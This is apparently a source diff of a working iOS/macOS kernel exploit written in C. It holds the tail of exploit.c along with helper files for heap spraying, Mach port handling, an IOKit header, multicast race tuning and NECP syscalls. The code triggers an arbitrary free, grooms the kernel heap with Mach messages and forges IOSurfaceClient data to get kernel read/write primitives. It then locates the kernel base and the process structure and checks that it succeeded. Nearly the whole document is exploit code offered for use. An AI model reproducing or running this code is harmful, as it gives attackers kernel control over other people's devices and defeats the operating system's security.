*(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t)) = KHEAP_DEFAULT_MAPPABLE_LOC; // free primitive target
*(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint64_t)) = 0x000007F802110000; // disposition, size, etc
// align a pointer here so that when the kmsg trailer size is corrupted, this pointer
// will after that be followed and a second bytecopy performed where it points (kmsg message bits)
*(uint64_t *)(kheap_data_spray_buf + 0x3F64) = BYTECOPY_SECOND_TARGET;
// spray large sprays to map KHEAP_DATA_MAPPABLE_LOC and KHEAP_DEFAULT_MAPPABLE_LOC
for (int i = 0; i < PORTS_COUNT; ++i)
{
// KHEAP_DEFAULT
*ool_ports = port_new();
contained_ports[i] = *ool_ports;
mach_port_t *pp = spray_default_kalloc_ool_ports(0x4000, 1, ool_ports);
kheap_default_ports[i] = pp[0];
free(pp);
// KHEAP_DATA_BUFFERS
kheap_data_ports[i] = spray_data_kalloc_kmsg_single(kheap_data_spray_buf, KMSG_SIZE);
}
notif_port = port_new();
for (int i = 0; i < PORTS_COUNT; ++i)
{
mach_port_t prev;
mach_port_request_notification(mach_task_self(), contained_ports[i], MACH_NOTIFY_NO_SENDERS, 0, notif_port, MACH_MSG_TYPE_MAKE_SEND_ONCE, &prev);
mach_port_deallocate(mach_task_self(), contained_ports[i]);
}
// pre-init kernel rw
IOSurfaceClient_array_buf = malloc(0x4000);
kernel_rw_preinit(KHEAP_DATA_MAPPABLE_LOC - 0x4000 + 0x10, IOSurfaceClient_array_buf, 0x4000);
free(contained_ports);
free(ool_ports);
free(kheap_data_spray_buf);
return 0;
}
int exploitation_get_krw_with_arb_free(mach_port_t arb_free_holder, uint64_t *kernel_base)
{
uint8_t msg_buf[0x100];
int fildes[2];
pipe(fildes);
int read_pipe = fildes[0];
int write_pipe = fildes[1];
// alloc this one before array of IOSurfaceClients becomes 0x4000
io_connect_t iosurface_connect_krw = IOSurfaceRoot_init();
// cause max size of arrays of IOSurfaceClients to become 0x4000
uint32_t last_id = IOSurfaceRoot_cause_array_size_to_be_0x4000();
// trigger arbitrary free in kheap default
port_destroy(arb_free_holder);
// do refill in kheap default
IOSurfaceRoot_lookup_surface(iosurface_connect_krw, last_id);
// NULL out array
IOSurfaceRoot_release_all(iosurface_connect_krw);
// find allocation at KHEAP_DEFAULT_MAPPABLE_LOC
int kheap_default_idx = -1;
for (uint32_t i = 0;
(i < PORTS_COUNT) && port_has_msg(notif_port);
i++)
{
port_receive_msg(notif_port, msg_buf, sizeof(msg_buf));
port_destroy(kheap_default_ports[i]);
kheap_default_idx = i;
}
// Note: don't add time sensitive code here, allocation at KHEAP_DEFAULT_MAPPABLE_LOC
// has been free'd and will be refilled below
// printf("Allocation at KHEAP_DEFAULT_MAPPABLE_LOC has been free'd\n");
if (kheap_default_idx >= PORTS_COUNT)
{
printf("kheap_default_idx >= PORTS_COUNT\n");
exit(1);
}
// extra frees
for (int i = 0; i < extra_frees_for_device; ++i)
{
port_destroy(kheap_default_ports[(kheap_default_idx+1)+i]);
}
// do refill
iogpu_connect = IOGPU_init();
// add entry
IOGPU_create_command_queue(iogpu_connect, KHEAP_DATA_MAPPABLE_LOC - 0x4000 + 0x10);
printf("kheap_default_idx: %08X\n", kheap_default_idx);
// refill in kheap data
port_destroy(kheap_data_ports[kheap_data_idx-1]);
write(write_pipe, IOSurfaceClient_array_buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);
kernel_rw_init(iosurface_connect_krw, 1, read_pipe, write_pipe);
kwrite32(KHEAP_DEFAULT_MAPPABLE_LOC, 0xFEED);
uint32_t result = kread32(KHEAP_DEFAULT_MAPPABLE_LOC);
printf("Test kwrite32 and kread32: %08X (should be 0000FEED)\n", result);
if (result != 0xFEED)
{
printf("Failed! Reboot to try again (remember to only run once per boot)\n");
exit(1);
}
printf("Get kernel base...\n");
*kernel_base = kernel_base_from_holder(kheap_data_ports[kheap_data_idx-2], KHEAP_DATA_MAPPABLE_LOC - 0x8000);
printf("Got kernel base: %p\n", (void *)*kernel_base);
return 0;
}
void exploitation_cleanup(void)
{
uint64_t command_queue_loc = kread64(KHEAP_DEFAULT_MAPPABLE_LOC + 8);
uint64_t parent_loc = kread64(command_queue_loc + 0x488);
uint64_t namespace_loc = kread64(parent_loc + 0x88);
// bump refs
kwrite32(command_queue_loc + 0x8, 10);
kwrite32(namespace_loc + 0x8, 10);
IOServiceClose(iogpu_connect);
}
int exploit_get_krw_and_kernel_base(uint64_t *kernel_base)
{
uint64_t _kernel_base = 0;
// generic exploitation init
if (exploitation_init() != 0)
{
return 1;
}
// trigger bug, get arbitrary free
mach_port_t arb_free_holder = get_arb_free_holder();
// generic exploitation using arbitrary free
exploitation_get_krw_with_arb_free(arb_free_holder, &_kernel_base);
// generic exploitation cleanup (kernel r/w still active)
//exploitation_cleanup();
*kernel_base = _kernel_base;
return 0;
}
int exploit_go(void)
{
uint64_t kernel_base = 0;
if (exploit_get_krw_and_kernel_base(&kernel_base) != 0)
{
printf("Exploit failed!\n");
return 1;
}
// test kernel r/w, read kernel base
uint32_t mh_magic = kread32(kernel_base);
if (mh_magic != 0xFEEDFACF)
{
printf("mh_magic != 0xFEEDFACF: %08X\n", mh_magic);
return 1;
}
printf("kread32(_kernel_base) success: %08X\n", mh_magic);
printf("Done\n");
return 0;
}

View File

@ -0,0 +1,9 @@
#ifndef __EXPLOIT_H__
#define __EXPLOIT_H__
#include <stdint.h>
int exploit_get_krw_and_kernel_base(uint64_t *kernel_base);
void exploitation_cleanup(void);
#endif

View File

@ -0,0 +1,120 @@
// Credits: Siguza
// https://github.com/Siguza/iokit-utils/blob/master/src/iokit.h
#ifndef IOKIT_H
#define IOKIT_H
#include <stdint.h>
#include <mach/mach.h>
#include <CoreFoundation/CoreFoundation.h>
typedef char io_name_t[128];
typedef char io_string_t[512];
typedef char io_struct_inband_t[4096];
typedef mach_port_t io_object_t;
typedef io_object_t io_registry_entry_t;
typedef io_object_t io_service_t;
typedef io_object_t io_connect_t;
typedef io_object_t io_iterator_t;
enum
{
kIOCFSerializeToBinary = 0x00000001U,
};
enum
{
kIOClassNameOverrideNone = 0x00000001U,
};
enum
{
kIOMapAnywhere = 0x00000001U,
};
enum
{
kIORegistryIterateRecursively = 0x00000001U,
kIORegistryIterateParents = 0x00000002U,
};
enum
{
kOSSerializeDictionary = 0x01000000U,
kOSSerializeArray = 0x02000000U,
kOSSerializeSet = 0x03000000U,
kOSSerializeNumber = 0x04000000U,
kOSSerializeSymbol = 0x08000000U,
kOSSerializeString = 0x09000000U,
kOSSerializeData = 0x0a000000U,
kOSSerializeBoolean = 0x0b000000U,
kOSSerializeObject = 0x0c000000U,
kOSSerializeTypeMask = 0x7F000000U,
kOSSerializeDataMask = 0x00FFFFFFU,
kOSSerializeEndCollection = 0x80000000U,
kOSSerializeMagic = 0x000000d3U,
};
extern const mach_port_t kIOMasterPortDefault;
CF_RETURNS_RETAINED CFDataRef IOCFSerialize(CFTypeRef object, CFOptionFlags options);
CFTypeRef IOCFUnserializeWithSize(const char *buf, size_t len, CFAllocatorRef allocator, CFOptionFlags options, CFStringRef *err);
kern_return_t IOObjectRetain(io_object_t object);
kern_return_t IOObjectRelease(io_object_t object);
boolean_t IOObjectConformsTo(io_object_t object, const io_name_t name);
uint32_t IOObjectGetKernelRetainCount(io_object_t object);
kern_return_t IOObjectGetClass(io_object_t object, io_name_t name);
kern_return_t _IOObjectGetClass(io_object_t object, uint64_t options, io_name_t name);
CFStringRef IOObjectCopyClass(io_object_t object);
CFStringRef _IOObjectCopyClass(io_object_t object, uint64_t options);
CFStringRef IOObjectCopySuperclassForClass(CFStringRef name);
CFStringRef IOObjectCopyBundleIdentifierForClass(CFStringRef name);
io_registry_entry_t IORegistryGetRootEntry(mach_port_t master);
io_registry_entry_t IORegistryEntryFromPath(mach_port_t master, const io_string_t path);
kern_return_t IORegistryEntryGetName(io_registry_entry_t entry, io_name_t name);
kern_return_t IORegistryEntryGetRegistryEntryID(io_registry_entry_t entry, uint64_t *entryID);
kern_return_t IORegistryEntryGetPath(io_registry_entry_t entry, const io_name_t plane, io_string_t path);
kern_return_t IORegistryEntryGetProperty(io_registry_entry_t entry, const io_name_t name, io_struct_inband_t buffer, uint32_t *size);
kern_return_t IORegistryEntryCreateCFProperties(io_registry_entry_t entry, CFMutableDictionaryRef *properties, CFAllocatorRef allocator, uint32_t options);
CFTypeRef IORegistryEntryCreateCFProperty(io_registry_entry_t entry, CFStringRef key, CFAllocatorRef allocator, uint32_t options);
kern_return_t IORegistryEntrySetCFProperties(io_registry_entry_t entry, CFTypeRef properties);
kern_return_t IORegistryCreateIterator(mach_port_t master, const io_name_t plane, uint32_t options, io_iterator_t *it);
kern_return_t IORegistryEntryCreateIterator(io_registry_entry_t entry, const io_name_t plane, uint32_t options, io_iterator_t *it);
kern_return_t IORegistryEntryGetChildIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it);
kern_return_t IORegistryEntryGetParentIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it);
io_object_t IOIteratorNext(io_iterator_t it);
boolean_t IOIteratorIsValid(io_iterator_t it);
void IOIteratorReset(io_iterator_t it);
CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED;
CFMutableDictionaryRef IOServiceNameMatching(const char *name) CF_RETURNS_RETAINED;
io_service_t IOServiceGetMatchingService(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT);
kern_return_t IOServiceGetMatchingServices(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT, io_iterator_t *it);
kern_return_t _IOServiceGetAuthorizationID(io_service_t service, uint64_t *authID);
kern_return_t _IOServiceSetAuthorizationID(io_service_t service, uint64_t authID);
kern_return_t IOServiceGetBusyStateAndTime(io_service_t service, uint64_t *state, uint32_t *busyState, uint64_t *busyTime);
kern_return_t IOServiceOpen(io_service_t service, task_t task, uint32_t type, io_connect_t *client);
kern_return_t IOServiceClose(io_connect_t client);
kern_return_t IOCloseConnection(io_connect_t client);
kern_return_t IOConnectAddRef(io_connect_t client);
kern_return_t IOConnectRelease(io_connect_t client);
kern_return_t IOConnectGetService(io_connect_t client, io_service_t *service);
kern_return_t IOConnectAddClient(io_connect_t client, io_connect_t other);
kern_return_t IOConnectSetNotificationPort(io_connect_t client, uint32_t type, mach_port_t port, uintptr_t ref);
kern_return_t IOConnectMapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t *addr, mach_vm_size_t *size, uint32_t options);
kern_return_t IOConnectUnmapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t addr);
kern_return_t IOConnectSetCFProperties(io_connect_t client, CFTypeRef properties);
kern_return_t IOConnectCallMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt);
kern_return_t IOConnectCallScalarMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt);
kern_return_t IOConnectCallStructMethod(io_connect_t client, uint32_t selector, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt);
kern_return_t IOConnectCallAsyncMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt);
kern_return_t IOConnectCallAsyncScalarMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt);
kern_return_t IOConnectCallAsyncStructMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt);
kern_return_t IOConnectTrap6(io_connect_t client, uint32_t index, uintptr_t a, uintptr_t b, uintptr_t c, uintptr_t d, uintptr_t e, uintptr_t f);
#endif

View File

@ -0,0 +1,64 @@
#include "kernel_base.h"
#include "kernel_rw.h"
#include "port_utils.h"
#include "spray.h"
#include "xpaci.h" // ptrauth.h replacement
#include <stdio.h>
#include <stdint.h>
#include <sys/socket.h>
#include <sys/syscall.h>
uint64_t g_self_proc = 0;
#pragma clang diagnostic ignored "-Wdeprecated-declarations" // syscall
uint64_t kernel_base_from_holder(mach_port_t holder, uint64_t holder_addr)
{
uint64_t kernel_base = 0;
const int receive_size = 0x10000; // Doesn't really matter
const int data_kalloc_size = 0x50; // Doesn't really matter
uint8_t *buf = calloc(1, receive_size);
mach_port_t fileport = MACH_PORT_NULL;
// read out port pointer
uint64_t port_addr = kread64(holder_addr + 8);
// init fileport
int sock = socket(AF_INET, SOCK_DGRAM, 0);
syscall(SYS_fileport_makeport, sock, &fileport);
// send new message contaning port
port_receive_msg(holder, buf, receive_size);
spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(sizeof(void *), &fileport, data_kalloc_size, holder);
// read kernel text pointer fops
uint64_t kmsg = kread64(port_addr + 0x30);
uint64_t ikm_header = xpaci(kread64(kmsg + 0x18));
uint64_t oolp_array = kread64(ikm_header + 0x24);
uint64_t oolp = kread64(oolp_array);
uint64_t kobject = xpaci(kread64(oolp + 0x58));
uint64_t fops = kread64(kobject + 0x28);
uint64_t x68 = xpaci(kread64(kmsg + 0x68));
uint64_t self_ipc_space = xpaci(kread64(x68 + 0x50));
uint64_t self_task = xpaci(kread64(self_ipc_space + 0x30));
g_self_proc = xpaci(kread64(self_task + 0x3c8));
// find kernel base
uint64_t pos = (fops & ~0x3FFF);
do
{
pos -= 0x4000;
} while (kread32(pos) != 0xFEEDFACF);
kernel_base = pos;
// cleanup
close(sock);
port_deallocate_n(&fileport, 1);
return kernel_base;
}

View File

@ -0,0 +1,9 @@
#ifndef __KERNEL_BASE_H__
#define __KERNEL_BASE_H__
#include <mach/mach.h>
#include <stdint.h>
uint64_t kernel_base_from_holder(mach_port_t holder, uint64_t holder_addr);
#endif

View File

@ -0,0 +1,75 @@
#include "kernel_rw.h"
#include "IOSurfaceRoot.h"
static io_connect_t _uc;
static uint32_t _surf_id;
static int _read_pipe;
static int _write_pipe;
static uint64_t _mapped_address;
void kernel_rw_preinit(uint64_t kaddr, uint8_t *buf, size_t n)
{
memset(buf, 0x07, n);
*(uint64_t *)(buf + 0x10 + 0x40) = kaddr+ 0x10; // IOSurfaceClient->IOSurface
*(uint64_t *)(buf + 0x10 + 0xB0) = 1; // See IOSurface::setCompressedTileDataRegionMemoryUsedOfPlane
*(uint64_t *)(buf + 0x10 + 0xC0 + 0x18) = kaddr + 0x20 - 0xA0; // Write destination (+0xA0 added)
_mapped_address = kaddr;
}
int kernel_rw_init(io_connect_t uc, uint32_t surf_id, int read_pipe, int write_pipe)
{
_uc = uc;
_surf_id = surf_id;
_read_pipe = read_pipe;
_write_pipe = write_pipe;
return 0;
}
uint32_t kread32(uint64_t kaddr)
{
uint8_t buf[KERNEL_RW_SIZE_FAKE_ARRAY];
read(_read_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);
*(uint64_t *)(buf+ 0x10 + 0x40) = kaddr+ 0x10; // IOSurfaceClient->IOSurface
*(uint64_t *)(buf+ 0x10 + 0xC0 ) = kaddr - 0x14; // Write destination (+0xA0 added)
write(_write_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);
return IOSurfaceRoot_get_surface_use_count(_uc, _surf_id);
}
uint64_t kread64(uint64_t kaddr)
{
uint8_t b[8];
*(uint32_t *)b = kread32(kaddr);
*(uint32_t *)(b + 4) = kread32(kaddr + 4);
return *(uint64_t *)b;
}
void kwrite32(uint64_t kaddr, uint32_t val)
{
uint8_t buf[KERNEL_RW_SIZE_FAKE_ARRAY];
read(_read_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);
*(uint64_t *)(buf + 0x10 + 0x40) = kaddr+ 0x10; // IOSurfaceClient->IOSurface
*(uint64_t *)(buf + 0x10 + 0xB0) = 1; // See IOSurface::setCompressedTileDataRegionMemoryUsedOfPlane
*(uint64_t *)(buf + 0x10 + 0xC0) = kaddr - 0xA0; // Write destination (+0xA0 added)
write(_write_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);
IOSurfaceRoot_set_compressed_tile_data_region_memory_used_of_plane(_uc, _surf_id, val);
}
void kwrite64(uint64_t kaddr, uint64_t val)
{
kwrite32(kaddr, (uint32_t)val);
kwrite32(kaddr + 4, (uint32_t)(val >> 32));
}

View File

@ -0,0 +1,18 @@
#ifndef __KERNEL_RW_H__
#define __KERNEL_RW_H__
#define KERNEL_RW_SIZE_FAKE_ARRAY 0x4000
#include "iokit.h"
void kernel_rw_preinit(uint64_t kaddr, uint8_t *buf, size_t n);
int kernel_rw_init(io_connect_t uc, uint32_t surf_id, int read_pipe, int write_pipe);
uint32_t kread32(uint64_t kaddr);
uint64_t kread64(uint64_t kaddr);
void kwrite32(uint64_t kaddr, uint32_t val);
void kwrite64(uint64_t kaddr, uint64_t val);
#endif

View File

@ -0,0 +1,55 @@
#include "mcast.h"
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <string.h>
int mcast_race_sock;
int mcast_join_group(int ip)
{
struct group_req mreq = { 0 };
struct sockaddr_in6 sin6 = {0};
mreq.gr_interface = 1;
sin6.sin6_len = sizeof(sin6);
sin6.sin6_family = AF_INET6;
sin6.sin6_port = 7878;
sin6.sin6_addr.__u6_addr.__u6_addr32[3] = 0;
sin6.sin6_addr.__u6_addr.__u6_addr32[2] = 0;
sin6.sin6_addr.__u6_addr.__u6_addr32[1] = ip;
sin6.sin6_addr.__u6_addr.__u6_addr32[0] = (htonl(0xFF000000));
memcpy(&mreq.gr_group, &sin6, sizeof(sin6));
mreq.gr_interface = 1;
return setsockopt(mcast_race_sock, IPPROTO_IPV6, MCAST_JOIN_GROUP, &mreq, sizeof(mreq));
}
void mcast_increase_race_reliability(void)
{
struct group_req mreq = { 0 };
struct sockaddr_in6 sin6 = {0};
int s = socket(AF_INET6, SOCK_DGRAM, 0);
mreq.gr_interface = 1;
sin6.sin6_len = sizeof(sin6);
sin6.sin6_family = AF_INET6;
sin6.sin6_port = 7878;
sin6.sin6_addr.__u6_addr.__u6_addr32[3] = 0;
sin6.sin6_addr.__u6_addr.__u6_addr32[2] = 0;
sin6.sin6_addr.__u6_addr.__u6_addr32[1] = 0;
sin6.sin6_addr.__u6_addr.__u6_addr32[0] = (htonl(0xFF000000));
memcpy(&mreq.gr_group, &sin6, sizeof(sin6));
for (int i = 0; i < 3000; ++i)
{
((struct sockaddr_in6 *)(&mreq.gr_group))->sin6_addr.__u6_addr.__u6_addr32[1] = i + (3000 * 3000);
setsockopt(s, IPPROTO_IPV6, MCAST_JOIN_GROUP, &mreq, sizeof(mreq));
}
}

View File

@ -0,0 +1,9 @@
#ifndef __MCAST_H__
#define __MCAST_H__
extern int mcast_race_sock;
void mcast_increase_race_reliability(void);
int mcast_join_group(int ip);
#endif

View File

@ -0,0 +1,16 @@
#include "necp.h"
#include <sys/syscall.h>
#include <unistd.h>
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
int necp_open(int flags)
{
return syscall(SYS_necp_open, flags);
}
int necp_client_action(int necp_fd, uint32_t action, uint8_t *client_id, size_t client_id_len, uint8_t *buffer, size_t buffer_size)
{
return syscall(SYS_necp_client_action, necp_fd, action, client_id, client_id_len, buffer, buffer_size);
}

View File

@ -0,0 +1,10 @@
#ifndef __NECP_H__
#define __NECP_H__
#include <stdlib.h>
#include <stdint.h>
int necp_open(int flags);
int necp_client_action(int necp_fd, uint32_t action, uint8_t *client_id, size_t client_id_len, uint8_t *buffer, size_t buffer_size);
#endif

View File

@ -0,0 +1,116 @@
#include "port_utils.h"
#include <mach/mach.h>
#include <stdlib.h>
#pragma clang diagnostic ignored "-Wdeprecated-declarations" // mach_port_destroy
mach_port_t port_new(void)
{
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
mach_port_t port;
mach_port_construct(mach_task_self(), &options, 0, &port);
return port;
}
void port_destroy(mach_port_t p)
{
mach_port_destroy(mach_task_self(), p);
}
void port_deallocate(mach_port_t p)
{
mach_port_deallocate(mach_task_self(), p);
}
void port_destroy_n(mach_port_t *p, unsigned int count)
{
for (int i = 0; i < count; ++i)
{
mach_port_destroy(mach_task_self(), p[i]);
p[i] = 0;
}
}
void port_deallocate_n(mach_port_t *p, unsigned int count)
{
for (int i = 0; i < count; ++i)
{
mach_port_deallocate(mach_task_self(), p[i]);
}
}
int port_has_msg(mach_port_t p)
{
mach_msg_header_t msg = { 0 };
mach_msg(&msg, MACH_RCV_LARGE | MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, 0x10, p, 0, 0);
return msg.msgh_size;
}
int port_peek_trailer_size(mach_port_t p)
{
mach_port_seqno_t msg_seqno = 0;
mach_msg_size_t msg_size = 0;
mach_msg_id_t msg_id = 0;
mach_msg_trailer_t msg_trailer;
mach_msg_type_number_t msg_trailer_size = sizeof(msg_trailer);
mach_port_peek(mach_task_self(),
p,
MACH_RCV_TRAILER_NULL,
&msg_seqno,
&msg_size,
&msg_id,
(mach_msg_trailer_info_t)&msg_trailer,
&msg_trailer_size);
return msg_trailer.msgh_trailer_size;
}
void port_receive_msg(mach_port_t p, uint8_t *buf, unsigned int n)
{
mach_msg((mach_msg_header_t *)buf,
MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE,
0,
n,
p,
0,
0);
}
void port_receive_msg_n(mach_port_t *p, unsigned int count)
{
uint8_t buf[0x1000];
for (int i = 0; i < count; ++i)
{
port_receive_msg(p[i], buf, 8);
}
}
void port_receive_msg_all_n(mach_port_t *p, unsigned int count)
{
uint8_t buf[0x1000];
for (int i = 0; i < count; ++i)
{
do
{
port_receive_msg(p[i], buf, 8);
} while (port_has_msg(p[i]));
}
}
void port_receive_msg_and_deallocate_n(mach_port_t *p, unsigned int count)
{
port_receive_msg_n(p, count);
port_deallocate_n(p, count);
for (int i = 0; i < count; ++i)
{
p[i] = MACH_PORT_NULL;
}
}

View File

@ -0,0 +1,22 @@
#ifndef __PORT_UTILS_H__
#define __PORT_UTILS_H__
#include <mach/mach.h>
mach_port_t port_new(void);
void port_destroy(mach_port_t p);
void port_deallocate(mach_port_t p);
void port_destroy_n(mach_port_t *p, unsigned int count);
void port_deallocate_n(mach_port_t *p, unsigned int count);
int port_has_msg(mach_port_t p);
int port_peek_trailer_size(mach_port_t p);
void port_receive_msg(mach_port_t p, uint8_t *buf, unsigned int size);
void port_receive_msg_n(mach_port_t *p, unsigned int count);
void port_receive_msg_and_deallocate_n(mach_port_t *p, unsigned int count);
#endif

View File

@ -0,0 +1,214 @@
#include "spray.h"
#include "necp.h"
#include <mach/mach.h>
#include <stdlib.h>
mach_port_t *spray_data_kalloc_kmsg(uint8_t *data, unsigned int size, unsigned int count)
{
mach_port_t *ports = calloc(sizeof(mach_port_t), count);
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
mach_msg_header_t *msg = (mach_msg_header_t *)data;
memset(msg, 0, sizeof(mach_msg_header_t));
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->msgh_size = size;
for (unsigned int i = 0; i < count; ++i)
{
mach_port_construct(mach_task_self(), &options, 0, &ports[i]);
}
for (unsigned int i = 0; i < count; ++i)
{
msg->msgh_remote_port = ports[i];
msg->msgh_id = i;
mach_msg_send(msg);
}
return ports;
}
mach_port_t spray_data_kalloc_kmsg_single(uint8_t *data, unsigned int size)
{
mach_port_t port = MACH_PORT_NULL;
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
mach_msg_header_t *msg = (mach_msg_header_t *)data;
memset(msg, 0, sizeof(mach_msg_header_t));
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->msgh_size = size;
mach_port_construct(mach_task_self(), &options, 0, &port);
msg->msgh_remote_port = port;
mach_msg_send(msg);
return port;
}
void spray_data_kalloc_kmsg_on_ports(uint8_t *data, unsigned int size, unsigned int count, mach_port_t *ports)
{
mach_msg_header_t *msg = (mach_msg_header_t *)data;
memset(msg, 0, sizeof(mach_msg_header_t));
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->msgh_size = size;
//memcpy(msg + 1, data, size-sizeof(*msg));
for (unsigned int i = 0; i < count; ++i)
{
msg->msgh_remote_port = ports[i];
msg->msgh_id = i;
mach_msg_send(msg);
}
}
mach_port_t *spray_data_kalloc_ool_descriptor(uint8_t *data, unsigned int size, unsigned int count)
{
mach_port_t *ports = calloc(sizeof(mach_port_t), count);
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
mach_msg_header_t *msg = (mach_msg_header_t *)calloc(1, size);
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->msgh_size = size;
for (unsigned int i = 0; i < count; ++i)
{
mach_port_construct(mach_task_self(), &options, 0, &ports[i]);
}
for (unsigned int i = 0; i < count; ++i)
{
msg->msgh_remote_port = ports[i];
mach_msg_send(msg);
}
free(msg);
return ports;
}
mach_port_t *spray_default_kalloc_ool_ports(unsigned int size, unsigned int count, mach_port_t *ool_ports)
{
return spray_default_kalloc_ool_ports_with_data_kalloc_size(size, count, ool_ports, 0x50);
}
mach_port_t *spray_default_kalloc_ool_ports_with_data_kalloc_size(unsigned int size, unsigned int count, mach_port_t *ool_ports, unsigned int data_kalloc_size)
{
struct default_msg
{
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t desc;
};
mach_port_t *ports = calloc(sizeof(mach_port_t), count);
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
struct default_msg *msg = (struct default_msg *)calloc(1, 0x100);
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
msg->hdr.msgh_size = data_kalloc_size;
msg->body.msgh_descriptor_count = 1;
msg->desc.deallocate = 0;
msg->desc.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
msg->desc.copy = MACH_MSG_VIRTUAL_COPY;
msg->desc.disposition = MACH_MSG_TYPE_COPY_SEND;
msg->desc.count = size/8;
msg->desc.address = (void *)ool_ports;
for (unsigned int i = 0; i < count; ++i)
{
mach_port_construct(mach_task_self(), &options, 0, &ports[i]);
}
for (unsigned int i = 0; i < count; ++i)
{
msg->hdr.msgh_remote_port = ports[i];
kern_return_t kr = mach_msg_send((mach_msg_header_t *)msg);
if (kr) {
*(int *)1 = 0;
}
}
free(msg);
return ports;
}
void spray_default_kalloc_ool_ports_on_port(unsigned int size, unsigned int count, mach_port_t *ool_ports, mach_port_t p)
{
spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(size, ool_ports, 0x50, p);
}
void spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(unsigned int size, mach_port_t *ool_ports, unsigned int data_kalloc_size, mach_port_t p)
{
struct default_msg
{
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t desc;
};
struct default_msg *msg = (struct default_msg *)calloc(1, 0x100);
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
msg->hdr.msgh_size = data_kalloc_size;
msg->body.msgh_descriptor_count = 1;
msg->desc.deallocate = 0;
msg->desc.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
msg->desc.copy = MACH_MSG_VIRTUAL_COPY;
msg->desc.disposition = MACH_MSG_TYPE_COPY_SEND;
msg->desc.count = size/8;
msg->desc.address = (void *)ool_ports;
msg->hdr.msgh_remote_port = p;
kern_return_t kr = mach_msg_send((mach_msg_header_t *)msg);
if (kr) {
*(int *)1 = 0;
}
free(msg);
}
kern_return_t spray_kmsg_on_port(mach_port_t port, void *data, size_t size)
{
mach_msg_base_t *msg = data;
msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->header.msgh_remote_port = port;
msg->header.msgh_size = (mach_msg_size_t)size;
return mach_msg_send(&msg->header);
}
mach_port_t *spray_ports_with_context(unsigned int count, uint64_t context)
{
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
mach_port_t *ports = calloc(sizeof(mach_port_t), count);
for (unsigned int i = 0; i < count; ++i)
{
mach_port_construct(mach_task_self(), &options, context, &ports[i]);
}
return ports;
}
mach_port_t *spray_ports(unsigned int count)
{
return spray_ports_with_context(count, 0);
}
int spray_default_kalloc_necp(int necp_fd, uint8_t *b, uint32_t sz)
{
uint8_t if_id[0x10];
return necp_client_action(necp_fd, 1, if_id, sizeof(if_id), b, sz);
}

View File

@ -0,0 +1,23 @@
#ifndef __SPRAY_H__
#define __SPRAY_H__
#include <mach/mach.h>
#include <stdint.h>
mach_port_t spray_data_kalloc_kmsg_single(uint8_t *data, unsigned int size);
mach_port_t *spray_data_kalloc_kmsg(uint8_t *data, unsigned int size, unsigned int count);
void spray_data_kalloc_kmsg_on_ports(uint8_t *data, unsigned int size, unsigned int count, mach_port_t *ports);
mach_port_t *spray_default_kalloc_ool_ports(unsigned int size, unsigned int count, mach_port_t *ool_ports);
